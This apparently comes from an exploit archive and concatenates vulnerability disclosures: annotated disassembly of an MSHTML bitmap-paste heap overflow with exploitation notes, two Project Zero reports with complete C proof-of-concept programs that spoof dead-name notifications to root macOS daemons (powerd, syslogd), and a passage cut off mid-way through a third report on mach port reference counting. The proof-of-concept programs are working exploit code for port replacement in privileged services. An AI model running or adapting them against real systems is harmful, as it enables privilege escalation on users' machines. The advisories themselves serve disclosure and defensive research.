72cf6629 ff7508          push    dword ptr [ebp+8]
72cf662c e832e4ffff      call    MSHTML!CPaste­Command::Handle­UIPaste­HTML (72cf4a63)
72cf6631 8bf0            mov     esi,eax
72cf6633 85f6            test    esi,esi
72cf6635 0f8992020000    jns     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf663b 8b4d08          mov     ecx,dword ptr [ebp+8]
72cf663e 8b01            mov     eax,dword ptr [ecx]
72cf6640 ff9080000000    call    dword ptr [eax+80h]
72cf6646 85c0            test    eax,eax
72cf6648 0f847f020000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf664e 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
72cf6651 8b01            mov     eax,dword ptr [ecx]
72cf6653 ff9080000000    call    dword ptr [eax+80h]
72cf6659 85c0            test    eax,eax
72cf665b 0f846c020000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6661 be64000480      mov     esi,80040064h
72cf6666 47              inc     edi
72cf6667 8344241414      add     dword ptr [esp+14h],14h
72cf666c 3b7c2448        cmp     edi,dword ptr [esp+48h]
72cf6670 0f8d57020000    jge     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6676 e925feffff      jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x26b (72cf64a0)

7202667b 50              push    eax                                            
7202667c ff15e4430f72    call    dword ptr [MSHTML!_imp__­Global­Size (720f43e4)] <eax> = 
72026682 89442450        mov     dword ptr [esp+50h],eax                        u­Bitmap­Info­Size<stack> = u­Bitmap­Info­Size<eax>
72026686 83f82c          cmp     eax,2Ch                                        if (u­Bitmap­Info­Size<eax> < 0x2C)
72026689 0f82cdfeffff    jb      7202655c                                           goto label1
7202668f 8b17            mov     edx,dword ptr [edi]                            larg2<edx> = po­Bitmap­Info<edi>->BITMAPINFOHEADER.bi­Size
72026691 8d442438        lea     eax,[esp+38h]                                  &u­Actual­Bitmap­Info­Size<eax> = &(u­Actual­Bitmap­Info­Size<stack>)
72026695 8b4f14          mov     ecx,dword ptr [edi+14h]                        larg1<ecx> = po­Bitmap­Info<edi>->BITMAPINFOHEADER.bi­Size­Image
72026698 8364243800      and     dword ptr [esp+38h],0                          u­Actual­Bitmap­Info­Size<stack> = 0
7202669d 50              push    eax                                            larg3<stack> = &pab­Image­Data<eax>
7202669e e8f9da28ff      call    712b419c                                       h­Result<eax> = MSHTML!UInt­Add(                                                  u­Actual­Bitmap­Info­Size = po­Bitmap­Info->bi­Size­Image + po­Bitmap­Info->bi­Size
                                                                                    po­Bitmap­Info<edi>->bi­Size­Image<ecx>                                         h­Result<eax> = error code on integer overflow
                                                                                    po­Bitmap­Info<edi>->bi­Size<edx>
                                                                                    &u­Actual­Bitmap­Info­Size<eax>
                                                                                    );
720266a3 8bf0            mov     esi,eax                                        h­Result<esi> = h­Result<eax>
720266a5 85f6            test    esi,esi                                        if (h­Result<esi> < 0)
720266a7 0f88affeffff    js      7202655c                                           goto label1
720266ad 8b442450        mov     eax,dword ptr [esp+50h]                        u­Bitmap­Info­Size<eax> = u­Bitmap­Info­Size<stack>
720266b1 3b442438        cmp     eax,dword ptr [esp+38h]                        if (u­Bitmap­Info­Size<eax> < u­Actual­Bitmap­Info­Size<stack>)
720266b5 0f82a1feffff    jb      7202655c                                           goto label1
720266bb 8364243400      and     dword ptr [esp+34h],0                          po­Original­Bitmap<stack> = 0
720266c0 8d4c244c        lea     ecx,[esp+4Ch]                                  &u­Bitmap­Size<ecx> = &(u­Bitmap­Size<stack>)
720266c4 8364244c00      and     dword ptr [esp+4Ch],0                          u­Bitmap­Size<stack> = 0
720266c9 51              push    ecx                                            larg4<stack> = &u­Bitmap­Size<ecx>
720266ca 8d4c2438        lea     ecx,[esp+38h]                                  &po­Bitmap<ecx> = &(po­Bitmap<stack>)
720266ce 51              push    ecx                                            larg3<stack> = &po­Bitmap<ecx>
720266cf 50              push    eax                                            larg2<stack> = u­Bitmap­Info­Size<eax>
720266d0 57              push    edi                                            larg1<stack> = po­Bitmap­Info<edi>
720266d1 e8af020000      call    72026985                                       h­Result<eax> = MSHTML!CPaste­Command::Prepend­Bitmap­Header(
                                                                                    po­Bitmap­Info = po­Bitmap­Info<edi>
                                                                                    u­Bitmap­Info­Size = u­Bitmap­Info­Size<eax>
                                                                                    ppo­Bitmap = &po­Bitmap,
                                                                                    pu­Bitmap­Size = &u­Bitmap­Size);
720266d6 8bf0            mov     esi,eax                                        h­Result<esi> = h­Result<eax>
720266d8 85f6            test    esi,esi                                        if (h­Result<esi> != 0)
720266da 0f857cfeffff    jne     7202655c                                           goto label1
720266e0 21442438        and     dword ptr [esp+38h],eax                        pab­Image­Data<stack> = NULL<eax>
720266e4 21442450        and     dword ptr [esp+50h],eax                        u­Png­Image­Size<stack> = 0<eax>
720266e8 8d442450        lea     eax,[esp+50h]                                  &u­Png­Image­Size<eax> = &(u­Png­Image­Size<stack>)
720266ec 50              push    eax                                            larg4<stack> = &u­Png­Image­Size<eax>
720266ed 8d44243c        lea     eax,[esp+3Ch]                                  &pab­Image­Data<eax> = &(pab­Image­Data<stack>)
720266f1 50              push    eax                                            larg3<stack> = &pab­Image­Data<eax>
720266f2 ff742454        push    dword ptr [esp+54h]                            larg2<stack> = u­Bitmap­Size<stack>
720266f6 ff742440        push    dword ptr [esp+40h]                            larg1<stack> = po­Bitmap<stack>
720266fa e8feb1ffff      call    720218fd                                       MSHTML!CPaste­Command::Convert­Bitmapto­Png(
                                                                                    po­Bitmap = po­Bitmap<stack>,
   **** SHIT HITS FAN ****                                                          u­Bitmap­Size = u­Bitmap­Size<stack>,
                                                                                    ppo­Png­Image = &pab­Image­Data,
                                                                                    pu­Png­Image­Size = &u­Png­Image­Size<stack>)
720266ff ff742434        push    dword ptr [esp+34h]
72026703 8bf0            mov     esi,eax
72026705 e8fdc85fff      call    71623007                                       MSHTML!operator delete(...)
7202670a 59              pop     ecx
7202670b 85f6            test    esi,esi
7202670d 0f8549feffff    jne     7202655c                                           goto label1;
72026713 ff7524          push    dword ptr [ebp+24h]
72026716 8bcb            mov     ecx,ebx
72026718 ff751c          push    dword ptr [ebp+1Ch]
7202671b ff7520          push    dword ptr [ebp+20h]
7202671e ff74245c        push    dword ptr [esp+5Ch]
72026722 ff742448        push    dword ptr [esp+48h]
72026726 ff750c          push    dword ptr [ebp+0Ch]
72026729 ff7508          push    dword ptr [ebp+8]
7202672c e81ce2ffff      call    7202494d                                       MSHTML!CPaste­Command::Handle­Paste­Image(...)
72026731 ff742438        push    dword ptr [esp+38h]
72026735 8bf0            mov     esi,eax
72026737 e8cbc85fff      call    MSHTML!operator delete (71623007)
7202673c 59              pop     ecx
7202673d e91afeffff      jmp     7202655c                                  label1

7202650c 8b442410        mov     eax,dword ptr [esp+10h]
72026510 85ff            test    edi,edi
72026512 0f84f8000000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x3db (72026610)
72026518 83ff01          cmp     edi,1
7202651b 744d            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x335 (7202656a)
7202651d 83ff02          cmp     edi,2
72026520 0f84d1020000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x5c2 (720267f7)
72026526 0f8e3a010000    jle     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72026666)
7202652c 83ff04          cmp     edi,4
7202652f 0f8e0d020000    jle     MSHTML!CPaste­Command::Paste­From­Clipboard+0x50d (72026742)
72026535 83ff08          cmp     edi,8
72026538 0f8528010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72026666)
7202653e 50              push    eax
7202653f ff15e0430f72    call    dword ptr [MSHTML!_imp__­Global­Lock (720f43e0)]
72026545 8bf8            mov     edi,eax
72026547 8b442410        mov     eax,dword ptr [esp+10h]
7202654b 89442420        mov     dword ptr [esp+20h],eax
7202654f 85ff            test    edi,edi
72026551 0f8524010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x446 (7202667b)
72026557 be0e000780      mov     esi,8007000Eh
label1:
7202655c 8d4c2420        lea     ecx,[esp+20h]
72026560 e819f1bfff      call    MSHTML!TSmart­Handle<void *,&Global­Unlock>::~TSmart­Handle<void *,&Global­Unlock> (71c2567e)
72026565 e963030000      jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (720268cd)
MSHTML!CPaste­Command..Prepend­Bitmap­Header.txt
MSHTML!CPaste­Command­Prepend­Bitmap­Header(
  VOID* po­Bitmap­Info<ebp+8>,
  UINT u­Bitmap­Info­Size<ebp+C>,
  VOID** ppo­Bitmap<ebp+10>,
  UINT* u­Bitmap­Size<ebp+14>
):
  u­Bitmap­Size<ebp-4>
72cf6985 8bff            mov     edi,edi                                        
72cf6987 55              push    ebp                                            
72cf6988 8bec            mov     ebp,esp                                        
72cf698a 51              push    ecx                                            
72cf698b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]                        larg1<ecx> = u­Bitmap­Info­Size<ebp+C>
72cf698e 8d45fc          lea     eax,[ebp-4]                                    &u­Bitmap­Size<eax> = &u­Bitmap­Size<ebp-4>
72cf6991 8365fc00        and     dword ptr [ebp-4],0                            u­Bitmap­Size<ebp-4> = 0
72cf6995 56              push    esi                                            
72cf6996 57              push    edi                                            
72cf6997 50              push    eax                                            larg3<stack> = &u­Bitmap­Size<eax>
72cf6998 6a0e            push    0Eh                                            
72cf699a 5a              pop     edx                                            larg2<edx> = 0x­E
72cf699b e8fcd728ff      call    71f8419c                                       MSHTML!UInt­Add(                                                                 u­Bitmap­Size = u­Bitmap­Info­Size + 0x­E
                                                                                    u­Bitmap­Info­Size<ecx>,                                                       
                                                                                    0x­E<edx>,                                                                   h­Result = error code on integer overflow
                                                                                    &u­Bitmap­Size<eax>);
72cf69a0 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>
72cf69a2 85ff            test    edi,edi                                        if (h­Result<edi> < 0)                                                           if (h­Result < 0)
72cf69a4 7850            js      72cf69f6                                           goto return_­error;                                                              return 0x8007000E;
72cf69a6 8b75fc          mov     esi,dword ptr [ebp-4]                          u­Bitmap­Size<esi> = u­Bitmap­Size<ebp-4>
72cf69a9 56              push    esi                                            larg3<stack> = u­Bitmap­Size<esi>
72cf69aa 6a00            push    0                                              larg2<stack> = 0
72cf69ac ff3510ccd972    push    dword ptr [72d9cc10]                           larg1<stack> = MSHTML!g_­h­Process­Heap
72cf69b2 e8eaa620ff      call    71f010a1                                       po­Bitmap<eax> = MSHTML!Heap­Alloc(                                               po­Bitmap<eax> = Heap­Alloc(g_­h­Process­Heap, 0, u­Bitmap­Size);
                                                                                    MSHTML!g_­h­Process­Heap,
                                                                                    0,
                                                                                    u­Bitmap­Size<esi>);
72cf69b7 8b4d10          mov     ecx,dword ptr [ebp+10h]                        ppo­Bitmap<ecx> = ppo­Bitmap<ebp+10>
72cf69ba 8901            mov     dword ptr [ecx],eax                            *(ppo­Bitmap<ecx>) = po­Bitmap<eax>                                               *ppo­Bitmap = po­Bitmap
72cf69bc 85c0            test    eax,eax                                        if (po­Bitmap<eax> == NULL)                                                      if (po­Bitmap == NULL)
72cf69be 7436            je      72cf69f6                                           goto return_­error;                                                              return 0x8007000E;
72cf69c0 ff750c          push    dword ptr [ebp+0Ch]                            larg4<stack> = u­Bitmap­Info­Size
72cf69c3 b9424d0000      mov     ecx,4D42h                                      "BM"<ecx> = 0x4D42
72cf69c8 897002          mov     dword ptr [eax+2],esi                          po­Bitmap<eax>->BITMAPFILEHEADER.bf­Size = u­Bitmap­Size<esi>                       po­Bitmap->BITMAPFILEHEADER.bf­Size = u­Bitmap­Size
72cf69cb ff7508          push    dword ptr [ebp+8]                              larg3<stack> = po­Bitmap­Info<ebp+8>
72cf69ce 668908          mov     word ptr [eax],cx                              po­Bitmap<eax>->BITMAPFILEHEADER.bf­Type = "BM"<cx>                               po­Bitmap->BITMAPFILEHEADER.bf­Type = "BM"
72cf69d1 33c9            xor     ecx,ecx                                        0<ecx> = 0
72cf69d3 ff750c          push    dword ptr [ebp+0Ch]                            larg2<stack> = u­Bitmap­Info­Size                                                  po­Bitmap->BITMAPFILEHEADER.bf­Reserved1 = 0
72cf69d6 894806          mov     dword ptr [eax+6],ecx                          po­Bitmap<eax>->BITMAPFILEHEADER.bf­Reserved12 = 0                                po­Bitmap->BITMAPFILEHEADER.bf­Reserved2 = 0
72cf69d9 c7400a36000000  mov     dword ptr [eax+0Ah],36h                        po­Bitmap<eax>->BITMAPFILEHEADER.bf­Off­Bits = 0x36                                po­Bitmap->BITMAPFILEHEADER.bf­Off­Bits = 0x36
72cf69e0 83c00e          add     eax,0Eh                                        &(po­Bitmap.BITMAPINFO)<eax> = po­Bitmap<eax> + sizeof(BITMAPFILEHEADER)
72cf69e3 50              push    eax                                            larg1<stack> = &o­Bitmap­Info<eax>
72cf69e4 ff159841dc72    call    dword ptr [72dc4198]                           MSHTML!_imp__­memcpy_­s(                                                          memcpy_­s(&(po­Bitmap->BITMAPINFO), u­Bitmap­Info­Size, po­Bitmap­Info, u­Bitmap­Info­Size)
                                                                                    &(po­Bitmap.BITMAPINFO)<stack>,
                                                                                    u­Bitmap­Info­Size<stack>,
                                                                                    po­Bitmap­Info<stack>,
                                                                                    u­Bitmap­Info­Size<stack>);
72cf69ea 8b4514          mov     eax,dword ptr [ebp+14h]                        pu­Bitmap­Size<eax> = pu­Bitmap­Size<ebp+14>
72cf69ed 83c410          add     esp,10h                                        WTF!?
72cf69f0 8930            mov     dword ptr [eax],esi                            *(pu­Bitmap­Size<eax>) = u­Bitmap­Size<esi>                                         *pu­Bitmap­Size = u­Bitmap­Size
72cf69f2 8bc7            mov     eax,edi                                        h­Result<eax> = h­Result<edi>                                                     return s_­OK;
72cf69f4 eb05            jmp     72cf69fb                                       goto return;
                                                                                return_­error:
72cf69f6 b80e000780      mov     eax,8007000Eh                                  h­Result<eax> = 0x8007000E
                                                                                return:
72cf69fb 5f              pop     edi                                            
72cf69fc 5e              pop     esi                                            
72cf69fd 8be5            mov     esp,ebp                                        
72cf69ff 5d              pop     ebp                                            
72cf6a00 c21000          ret     10h                                            return h­Result<eax>


Exploit

An attacker looking to exploit this issue will commonly attempt to get the memory allocated to store the PNG image in a location that is followed by a pre-allocated memory block that contains information the attacker would like to modify. Using the buffer overflow, the attacker can overwrite this pre-allocated memory block with attacker controlled data. Depending on the type of the pre-allocated memory, this could allow the attacker to read or modify arbitrary information within the process and take control of execution flow. No attempt was made to create a Proof-of-Concept that shows this level of control.

Time-line

8 May 2014: This vulnerability was submitted to ZDI.
9 June 2014: This vulnerability was acquired by ZDI.
23 June 2014: This vulnerability was disclosed to Microsoft by ZDI.
14 October 2014: This vulnerability was address by Microsoft in MS14-056.
21 December 2016: Details of this vulnerability are released.
-->
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 */

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in powerd

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

	pmServerMachPort = _SC_CFMachPortCreateWithPort(
													"PowerManagement",
													serverPort, 
													mig_server_callback, 
													&context);

It also asks to receive dead name notifications for other ports on that same server port:

	mach_port_request_notification(
							mach_task_self(),           // task
							notify_port_in,                 // port that will die
							MACH_NOTIFY_DEAD_NAME,      // msgid
							1,                          // make-send count
							CFMachPortGetPort(pmServerMachPort),        // notify port
							MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
							&oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

	static void
	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
	{
			mig_reply_error_t * bufRequest = msg;
			mig_reply_error_t * bufReply = CFAllocatorAllocate(
					NULL, _powermanagement_subsystem.maxsize, 0);
			mach_msg_return_t   mr;
			int                 options;

			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
			
			/* we have a request message */
			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

	static boolean_t 
	pm_mig_demux(
			mach_msg_header_t * request,
			mach_msg_header_t * reply)
	{
			mach_dead_name_notification_t *deadRequest = 
											(mach_dead_name_notification_t *)request;
			boolean_t processed = FALSE;

			processed = powermanagement_server(request, reply);

			if (processed) 
					return true;
			
			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
			{
					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

					PMConnectionHandleDeadName(deadRequest->not_port);

					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
					
					reply->msgh_bits            = 0;
					reply->msgh_remote_port     = MACH_PORT_NULL;

					return TRUE;
			}

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

	typedef struct {
			mach_msg_header_t   not_header;
			NDR_record_t        NDR;
			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
			mach_msg_format_0_trailer_t trailer;
	} mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.PowerManagement.control";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=977

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

    ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
  ...
    if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
    {
      deadname = (mach_dead_name_notification_t *)request;
      dispatch_async(asl_server_queue, ^{
        cancel_session(deadname->not_port);
        /* dead name notification includes a dead name right */
        mach_port_deallocate(mach_task_self(), deadname->not_port);
        free(request);
      });

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in syslogd

syslogd (running as root) hosts the com.apple.system.logger mach service. It's part of the system.sb
sandbox profile and so reachable from a lot of sandboxed contexts.

Here's a snippet from its mach message handling loop listening on the service port:

		ks = mach_msg(&(request->head), rbits, 0, rqs, global.listen_set, 0, MACH_PORT_NULL);
	...
		if (request->head.msgh_id == MACH_NOTIFY_DEAD_NAME)
		{
			deadname = (mach_dead_name_notification_t *)request;
			dispatch_async(asl_server_queue, ^{
				cancel_session(deadname->not_port);
				/* dead name notification includes a dead name right */
				mach_port_deallocate(mach_task_self(), deadname->not_port);
				free(request);
			});

An attacker with a send-right to the service can spoof a MACH_NOTIFY_DEAD_NAME message and cause an
arbitrary port name to be passed to mach_port_deallocate as deadname->not_port doesn't name a port right
but is a mach_port_name_t which is just a controlled integer.

An attacker could cause syslogd to free a privilged port name and get it reused to name a port for which
the attacker holds a receive right.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.system.logger";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
